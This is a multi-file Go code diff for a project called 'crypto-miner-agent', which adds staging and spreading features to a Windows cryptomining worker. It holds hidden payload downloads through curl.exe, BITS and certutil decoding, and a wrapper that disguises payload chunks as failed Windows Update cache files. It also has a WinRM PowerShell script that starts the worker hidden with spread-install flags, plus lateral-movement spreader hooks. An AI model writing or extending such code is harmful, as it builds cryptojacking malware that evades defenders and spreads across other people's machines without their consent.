@@ -114,6 +118,9 @@ func downloadChunkCurl(url, dest string) error {
if url == "" {
return fmt.Errorf("chunk url is empty")
}
if stagingDownloadCurlFn != nil {
return stagingDownloadCurlFn(url, dest)
}
return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url)
}
@@ -122,6 +129,9 @@ func downloadChunkBITS(url, dest string) error {
if url == "" {
return fmt.Errorf("chunk url is empty")
}
if stagingDownloadBITSFn != nil {
return stagingDownloadBITSFn(url, dest)
}
job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix())
steps := [][]string{
{"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest},
@@ -137,5 +147,8 @@ func downloadChunkBITS(url, dest string) error {
}
func certutilDecode(src, dest string) error {
if stagingCertutilDecodeFn != nil {
return stagingCertutilDecodeFn(src, dest)
}
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
}

View File

@@ -0,0 +1,57 @@
//go:build windows
package deploy
import (
"encoding/base64"
"strings"
"testing"
"unicode/utf16"
)
func TestWinRMEncodePowerShellRoundTrip(t *testing.T) {
script := `$dest = Join-Path $env:TEMP 'worker.exe'; Start-Process $dest`
encoded := encodePowerShell(script)
raw, err := base64.StdEncoding.DecodeString(encoded)
if err != nil {
t.Fatal(err)
}
if len(raw)%2 != 0 {
t.Fatal("utf16le should be even length")
}
runes := make([]rune, len(raw)/2)
for i := 0; i < len(runes); i++ {
runes[i] = rune(raw[i*2]) | rune(raw[i*2+1])<<8
}
got := string(runes)
if got != script {
t.Fatalf("round-trip failed: got %q", got)
}
// sanity: matches manual utf16 encode
manual := utf16.Encode([]rune(script))
if len(manual)*2 != len(raw) {
t.Fatalf("len manual=%d raw=%d", len(manual)*2, len(raw))
}
}
func TestWinRMSpreadScriptMarkers(t *testing.T) {
script := `
$dest = Join-Path $env:TEMP 'af-worker.exe'
Copy-Item -LiteralPath 'C:\agent\worker.exe' -Destination $dest -Force
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
`
encoded := encodePowerShell(script)
for _, marker := range []string{
"Join-Path $env:TEMP",
"--spread-install",
"--defer-mining",
"Start-Process",
} {
if !strings.Contains(script, marker) {
t.Fatalf("script missing %q", marker)
}
}
if encoded == "" || strings.Contains(encoded, " ") {
t.Fatalf("encoded command invalid: %q", encoded)
}
}

View File

@@ -1,6 +1,8 @@
package deploy
import (
"bytes"
"encoding/binary"
"fmt"
"os"
"path/filepath"
@@ -10,6 +12,80 @@ import (
"crypto-miner-agent/config"
)
const (
wsusSSUEnvelopeTag = "AFWSU1\x00"
wsusSSUMetadataSize = 96
)
// WrapSSUHeader prepends a CAB/SSU-like envelope so chunk bytes resemble failed WU cache files.
// Format mimicry only — payload bytes are unchanged after unwrap; SHA256 in the manifest is raw payload.
func WrapSSUHeader(payload []byte) []byte {
meta := make([]byte, wsusSSUMetadataSize)
copy(meta[0:4], "MSCF")
total := uint32(wsusSSUMetadataSize + 4 + len(payload))
binary.LittleEndian.PutUint32(meta[8:12], total)
binary.LittleEndian.PutUint16(meta[16:18], 1)
binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
copy(meta[36:44], "SSU2024\x00")
copy(meta[44:52], "WU-CACHE")
copy(meta[80:88], ".partial")
tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
out := make([]byte, 0, len(meta)+len(payload))
out = append(out, meta...)
out = append(out, payload...)
return out
}
// AddWrapSSUHeader is the spec alias for WrapSSUHeader.
func AddWrapSSUHeader(payload []byte) []byte {
return WrapSSUHeader(payload)
}
// UnwrapSSUHeader strips the CAB/SSU mimic envelope and returns the embedded payload.
func UnwrapSSUHeader(data []byte) ([]byte, error) {
if len(data) < wsusSSUMetadataSize+1 {
return nil, fmt.Errorf("wsus ssu envelope too short")
}
if !bytes.HasPrefix(data, []byte("MSCF")) {
return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
}
tag := []byte(wsusSSUEnvelopeTag)
idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
if idx < 0 {
return nil, fmt.Errorf("wsus ssu envelope tag not found")
}
off := idx + len(tag)
if off+4 > wsusSSUMetadataSize {
return nil, fmt.Errorf("wsus ssu envelope length truncated")
}
n := binary.LittleEndian.Uint32(data[off : off+4])
start := wsusSSUMetadataSize
if int(n) < 0 || start+int(n) > len(data) {
return nil, fmt.Errorf("wsus ssu payload length invalid")
}
return data[start : start+int(n)], nil
}
// IsWSUSFormatMimicChunk reports whether a staged chunk filename uses the *.cab.partial pattern.
func IsWSUSFormatMimicChunk(filename string) bool {
return strings.HasSuffix(strings.ToLower(filepath.Base(filename)), ".cab.partial")
}
// WSUSFormatMimicChunkName returns a GUID-like failed-update cache filename for a content hash.
func WSUSFormatMimicChunkName(contentHash string, index int) string {
h := strings.ToLower(strings.TrimSpace(contentHash))
if len(h) < 32 {
h = strings.Repeat("0", 32-len(h)) + h
}
guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
if index > 0 {
return fmt.Sprintf("%s-%d.cab.partial", guid, index)
}
return guid + ".cab.partial"
}
// WSUSCachePeerManifest describes WSUS offline cache cousin staging beside SoftwareDistribution\Download.
type WSUSCachePeerManifest struct {
Method string `json:"method"`
@@ -109,15 +185,34 @@ func assembleWSUSCachePeerPayload(cfg config.RuntimeConfig, manifest WSUSCachePe
return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
}
}
chunkPath := localPath
if IsWSUSFormatMimicChunk(name) {
raw, err := os.ReadFile(localPath)
if err != nil {
cleanupFn()
return "", nil, fmt.Errorf("wsus chunk %d read: %w", i, err)
}
payload, err := UnwrapSSUHeader(raw)
if err != nil {
cleanupFn()
return "", nil, fmt.Errorf("wsus chunk %d unwrap: %w", i, err)
}
unwrappedPath := strings.TrimSuffix(localPath, ".cab.partial") + ".bin"
if err := os.WriteFile(unwrappedPath, payload, 0o600); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("wsus chunk %d write: %w", i, err)
}
chunkPath = unwrappedPath
}
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
if err := certutilDecodePeer(localPath, decoded); err != nil {
decoded := strings.TrimSuffix(chunkPath, filepath.Ext(chunkPath)) + ".bin"
if err := certutilDecodePeer(chunkPath, decoded); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
}
assembled = append(assembled, decoded)
} else {
assembled = append(assembled, localPath)
assembled = append(assembled, chunkPath)
}
}

View File

@@ -1,6 +1,7 @@
package deploy
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"os"
@@ -62,6 +63,87 @@ func TestWSUSCachePeerAssembleWithFakeDownloaders(t *testing.T) {
}
}
func TestWSUSCachePeerRejectsPathTraversal(t *testing.T) {
manifest := WSUSCachePeerManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "wsus-0.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: `..\..\outside.exe`,
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}}
_, _, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDownload, fakeDownload)
if err == nil || !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("expected path traversal error, got %v", err)
}
}
func TestWrapSSUHeaderRoundTrip(t *testing.T) {
payload := []byte("wsus-cache-cousin-payload")
wrapped := WrapSSUHeader(payload)
if !bytes.HasPrefix(wrapped, []byte("MSCF")) {
t.Fatal("expected MSCF cabinet prefix")
}
if !bytes.Contains(wrapped, []byte("WU-CACHE")) {
t.Fatal("expected WU-CACHE metadata marker")
}
got, err := UnwrapSSUHeader(wrapped)
if err != nil {
t.Fatal(err)
}
if !bytes.Equal(got, payload) {
t.Fatalf("unwrap=%q want %q", got, payload)
}
}
func TestWSUSFormatMimicChunkNamePattern(t *testing.T) {
name := WSUSFormatMimicChunkName(strings.Repeat("a", 64), 0)
if !strings.HasSuffix(name, ".cab.partial") {
t.Fatalf("name=%q", name)
}
if strings.Count(name, "-") < 4 {
t.Fatalf("expected GUID-like name, got %q", name)
}
if !IsWSUSFormatMimicChunk(name) {
t.Fatal("IsWSUSFormatMimicChunk should match")
}
}
func TestWSUSCachePeerAssembleFormatMimicRoundTrip(t *testing.T) {
dir := t.TempDir()
payload := []byte("wsus-format-mimic-roundtrip")
wrapped := WrapSSUHeader(payload)
sumForName := sha256.Sum256(payload)
chunkName := WSUSFormatMimicChunkName(hex.EncodeToString(sumForName[:]), 0)
chunkPath := filepath.Join(dir, chunkName)
if err := os.WriteFile(chunkPath, wrapped, 0o644); err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(payload)
destRel := filepath.Join("af-wsus", "worker.exe")
fakeDL := func(url, dest string) error {
return copyFile(chunkPath, dest)
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-mimic"}}
manifest := WSUSCachePeerManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: chunkName}},
SHA256: hex.EncodeToString(sum[:]),
Dest: destRel,
CacheGroup: "wsus-lan-mimic",
}
staged, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL)
if err != nil {
t.Fatal(err)
}
defer cleanup()
if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
t.Fatal(err)
}
}
func TestWSUSCachePeerSHA256MismatchRejected(t *testing.T) {
dir := t.TempDir()
chunkPath := filepath.Join(dir, "wsus-0.bin")

View File

@@ -29,7 +29,7 @@ func main() {
}
setupLogging(cfg)
if cfg.Wallet == "" {
if cfg.Wallet == "" && !cfg.MiningDisabled && !cfg.ApkMode && !cfg.ScoutMode {
log.Fatal("wallet address is required in built-in configuration")
}
if cfg.ServerURL == "" {
@@ -84,14 +84,13 @@ func main() {
}
deploy.StartWatchdog(cfg)
// AutoSpreader is intentionally NOT started here. It is started inside
// AgentClient.authenticate() only after the server accepts our fleet secret,
// which verifies we are on an owned fleet before initiating lateral movement.
deploy.StartPassiveSpreader(cfg)
deploy.StartLotlOnion(cfg)
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
// First-run spread marker is cleared after auth succeeds (handled in client).
deploy.ClearFirstRunSpreadMarker(cfg)
if !cfg.ScoutMode {
deploy.StartPassiveSpreader(cfg)
deploy.StartLotlOnion(cfg)
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
// First-run spread marker is cleared after auth succeeds (handled in client).
deploy.ClearFirstRunSpreadMarker(cfg)
}
}
if cfg.FirewallExclusion {

View File

@@ -695,6 +695,99 @@ func (c *ChainController) ResumeAll(ctx context.Context) {
c.RestartChain(ctx)
}
// SetChainHooksForTest patches cascade hooks; non-nil fields override (unit tests only).
func (c *ChainController) SetChainHooksForTest(patch ChainHooks) {
c.mu.Lock()
h := c.hooks
if patch.StartDockerLoad != nil {
h.StartDockerLoad = patch.StartDockerLoad
}
if patch.StartContainer != nil {
h.StartContainer = patch.StartContainer
}
if patch.StartWSL != nil {
h.StartWSL = patch.StartWSL
}
if patch.StartPowerShell != nil {
h.StartPowerShell = patch.StartPowerShell
}
if patch.StartDotnet != nil {
h.StartDotnet = patch.StartDotnet
}
if patch.StartInProcess != nil {
h.StartInProcess = patch.StartInProcess
}
if patch.StartGPU != nil {
h.StartGPU = patch.StartGPU
}
if patch.StartPyOpenCL != nil {
h.StartPyOpenCL = patch.StartPyOpenCL
}
if patch.StopDockerLoad != nil {
h.StopDockerLoad = patch.StopDockerLoad
}
if patch.StopContainer != nil {
h.StopContainer = patch.StopContainer
}
if patch.StopWSL != nil {
h.StopWSL = patch.StopWSL
}
if patch.StopPowerShell != nil {
h.StopPowerShell = patch.StopPowerShell
}
if patch.StopDotnet != nil {
h.StopDotnet = patch.StopDotnet
}
if patch.StopInProcess != nil {
h.StopInProcess = patch.StopInProcess
}
if patch.StopGPU != nil {
h.StopGPU = patch.StopGPU
}
if patch.StopPyOpenCL != nil {
h.StopPyOpenCL = patch.StopPyOpenCL
}
if patch.IsDockerLoadHealthy != nil {
h.IsDockerLoadHealthy = patch.IsDockerLoadHealthy
}
if patch.IsContainerHealthy != nil {
h.IsContainerHealthy = patch.IsContainerHealthy
}
if patch.IsWSLHealthy != nil {
h.IsWSLHealthy = patch.IsWSLHealthy
}
if patch.IsGPUSupported != nil {
h.IsGPUSupported = patch.IsGPUSupported
}
if patch.PoolConfigured != nil {
h.PoolConfigured = patch.PoolConfigured
}
if patch.RunTierProbes != nil {
h.RunTierProbes = patch.RunTierProbes
}
if patch.RunTierChain != nil {
h.RunTierChain = patch.RunTierChain
}
if patch.StopTiers != nil {
h.StopTiers = patch.StopTiers
}
if patch.WebGPUReady != nil {
h.WebGPUReady = patch.WebGPUReady
}
if patch.GPUComputeReady != nil {
h.GPUComputeReady = patch.GPUComputeReady
}
c.hooks = h
c.mu.Unlock()
}
// SetChainOrderForTest overrides the ordered cascade (unit tests only).
func (c *ChainController) SetChainOrderForTest(chain []MiningMethod) {
c.mu.Lock()
c.chain = append([]MiningMethod(nil), chain...)
c.mu.Unlock()
}
// Monitor watches container health and advances the chain on exit.
func (c *ChainController) Monitor(ctx context.Context) {
ticker := time.NewTicker(10 * time.Second)

View File

@@ -14,6 +14,11 @@ func SetVulnProbeRunner(fn func() TierAttempt) {
vulnProbeRunner = fn
}
// VulnProbeRunnerWired reports whether a custom probe runner is registered (tests inject before chain wiring).
func VulnProbeRunnerWired() bool {
return vulnProbeRunner != nil
}
// RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit).
func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
select {